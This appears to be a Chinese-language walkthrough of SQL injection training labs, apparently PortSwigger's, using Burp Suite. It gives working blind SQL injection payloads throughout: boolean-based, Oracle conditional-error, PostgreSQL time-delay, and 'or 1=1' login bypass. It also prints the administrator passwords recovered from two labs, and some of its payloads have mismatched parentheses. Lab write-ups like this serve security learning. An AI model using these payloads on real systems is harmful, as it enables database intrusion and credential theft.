实验9
点击了home之后页面给了回显,猜测后面进行盲注的时候要利用此回显来判断,打开bp吧
注入点在trackingid这,简单判断一下
存在注入,下面判断一下是否存在表users,表里是否存在名为administrator的用户以及密码password有多少字符
为真,存在users表,接着查用户
后面判断password的长度
大于1为真,扩大点看看
大于30无回显,长度应该是小于30的,具体多少跑一下payload吧
选择number范围1-30
到20,在确定了密码的长度之后最后做的事情就是跑出这个密码的内容
用substring()函数从1开始每次扩大1来跟后面的a-z,0-9做对比,找出每一位返回为真的值组合在一起就是密码
排出来就是密码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
y s l j q 8 w g 3 r q s 7 x d j 9 1 q t
ysljq8wg3rqs7xdj91qt拿去登录即可
实验10
有暗示看一眼
应该是这块内容
单引号语法错误,闭合正常,所以结合题目可以使用构造语法错误来进行攻击
暗示既然说了这里是oracle数据库,那我们根据oracle数据库的特性不妨验证一下
' || (select '') || '
' || (select '' from dual) || '
通过验证确定为oracle数据库,后面还像实验9那样判断表,用户名,密码字段数及具体内容
' || (select '' from users where rownum =1) || '
rownum=1 防止查询的时候返回多行
接下来回过头来看看刚刚备忘录上的条件错误语句
' || (select case when (1=1) then to_char(1/0) else '' end from dual) ||'
when的条件成立时,会执行then后的内容,若不成立,则返回else后的内容
执行成功1/0报错
下面验证是否存在目标用户
' || (select case when (1=1) then to_char(1/0) else '' from users where username='administrator') || '
有一点需要注意,SQL语句的先判断where后面的内容,也就是说如果此用户不存在或者1=1不成立的时候返回状态码都是200
返回错误,即存在该用户
' ||(select case when length(password)>1) then to_char(1/0) else '' from users where username='administrator' || '
' ||(select case when length(password)>2) then to_char(1/0) else '' from users where username='administrator' || '
....
判断密码位数,可以直接用payload跑,这里我猜几个实验都差不多应该都是20位
' || (select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator') || '
跟上个实验一样拿payload直接跑
老样子排个序就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
0 7 0 q 9 7 s 2 1 n z t o c 2 9 g c o g
070q97s21nztoc29gcog拿去登录即可
实验11
看眼暗示
查看清单
四个不同类型的数据库的延迟语句,我们只要确定了是哪种并且成功延迟,本实验就完成了
MySQL正常返回,下一个
白了
10秒成功延时
实验12
应该是在上个实验的基础上,查询信息,所以数据库类型应该没变
验证一下有条件延迟语句的作用
' || (select case when(1=1) then pg_sleep(10) else pg_sleep(-1) end) --
成功延时
' || (select case when(1=2) then pg_sleep(10) else pg_sleep(-1) end) --
正常显示
利用when里面的条件判断用户名
' || (select case when(username='administrator') then pg_sleep(10) else pg_sleep(-1) end from users) --
成功延迟即存在
' || (select case when(username='administrator' and length(password)>1) then pg_sleep(10) else pg_sleep(-1) end from users) --
盲猜还是20长度
唔~自己私底下偷偷验证一下就好了…
' || (select case when(username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(-1) end from users) --
直接payload跑
这个版本的burp我没找到调线程的位置,跑出来都是一样的看不出来时间长短,裂开
不过做法就是这样
缺个这玩意
实验13
这个我选择先放这,有点复杂,过段时间再来研究
实验14
同13一样,看着挺复杂结合了XXE,后面时间充足了会研究然后补更
实验15
按照要求带入‘ or 1=1 – 就行了
实验16
绕过登录就行
administrator'or 1=1 --
即可绕过
一整天人都麻了,后半部分实验做吐了快,暂时就这样了,溜了…